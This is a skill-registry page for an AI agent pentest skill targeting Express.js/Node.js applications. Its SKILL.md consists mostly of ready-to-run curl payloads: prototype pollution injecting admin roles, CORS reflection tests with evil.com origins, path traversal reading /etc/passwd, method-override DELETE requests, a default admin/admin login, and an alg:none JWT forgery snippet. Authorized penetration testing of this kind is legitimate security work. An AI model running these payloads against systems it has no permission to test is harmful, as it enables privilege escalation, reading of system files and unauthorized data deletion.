f-4alone/oh-my-open-pentest-qwen/framework-express

Claude Code and agent skill by f-4alone/oh-my-open-pentest-qwen

Trust tier 3
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

Express.js/Node.js security testing — prototype pollution, CORS misconfiguration, middleware bypass, npm dependency vulns, JWT abuse, path traversal via static serving, eval injection. Triggers: 'express', 'expressjs', 'node.js security', 'nodejs pentest', 'express middleware', 'node prototype pollution'.

Install

npx vskill@latest install f-4alone/oh-my-open-pentest-qwen/framework-express

SKILL.md

The same SKILL.md was published earlier as yoraexe/ceobe/framework-express.

Express.js Security Testing

Node.js/Express attack surface: prototype pollution, CORS, middleware bypass, npm vulns.

Phase 1: Fingerprinting

bash
TARGET="https://TARGET"
# Detect Express/Node
curl -sI "$TARGET" | grep -i "x-powered-by\|express\|node"
# Check for common Express paths
for path in /api /api/v1 /api/v2 /graphql /health /metrics /status /debug /admin; do
code=$(curl -so /dev/null -w "%{http_code}" "$TARGET$path")
echo "$code $path"
done | tee /workspace/output/express-paths.txt
# npm audit info leak
curl -s "$TARGET/package.json" | python3 -m json.tool
curl -s "$TARGET/package-lock.json" | python3 -m json.tool | head -50

Phase 2: Prototype Pollution

bash
# Test via query params
curl -s "$TARGET/api/search?__proto__[admin]=true&__proto__[role]=admin" | jq .
curl -s "$TARGET/api/data?constructor[prototype][admin]=1" | jq .
# JSON body prototype pollution
curl -s -X POST "$TARGET/api/merge" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"admin":true,"role":"superuser"}}' | jq .
# Verify pollution on subsequent request (check if server returns admin=true)
curl -s "$TARGET/api/profile" | jq .

Phase 3: CORS Misconfiguration

bash
# Reflect arbitrary origin
curl -sI "$TARGET/api/user" -H "Origin: https://evil.com" | grep "Access-Control"
# Null origin
curl -sI "$TARGET/api/user" -H "Origin: null" | grep "Access-Control"
# Subdomain trust
curl -sI "$TARGET/api/user" -H "Origin: https://attacker.TARGET.com" | grep "Access-Control"

Phase 4: Middleware & Path Bypass

bash
# Path traversal via static serving
curl -s "$TARGET/static/../../../etc/passwd"
curl -s "$TARGET/public/%2e%2e/%2e%2e/etc/passwd"
curl -s "$TARGET/uploads/..%2f..%2fetc%2fpasswd"
# Method override (express-method-override)
curl -s -X POST "$TARGET/api/users/1" -H "X-HTTP-Method-Override: DELETE"
curl -s -X POST "$TARGET/api/users/1" -H "_method=DELETE"
# Check for exposed dev/debug routes
curl -s "$TARGET/__coverage__"
curl -s "$TARGET/test"
curl -s "$TARGET/debug"

Phase 5: JWT & Session Attacks

bash
# Grab JWT from login
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d '{"user":"admin","pass":"admin"}' | jq -r '.token')
# Decode header
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null | python3 -m json.tool
# Test alg:none
# python3 -c "import base64,json; h=base64.b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).decode().rstrip('='); p=base64.b64encode(json.dumps({'user':'admin','role':'admin'}).encode()).decode().rstrip('='); print(f'{h}.{p}.')"
# RS256→HS256 confusion
# Use public key as HMAC secret

Output

Save to /workspace/output/:

  • express-paths.txt — API endpoint discovery
  • cors-test.txt — CORS misconfig results

Next Phase

→ vuln-prototype-pollution for deep prototype pollution exploitation → vuln-cors for CORS exploitation chain

Security

  • Security scanPassed, 90 of 100Pattern checks on the skill's files.
  • Model reviewPassed

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

7-day trend score
0

Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/f-4alone/oh-my-open-pentest-qwen/framework-express/badge)](https://verified-skill.com/skills/f-4alone/oh-my-open-pentest-qwen/framework-express)

Something wrong with this skill or its page? Tell us.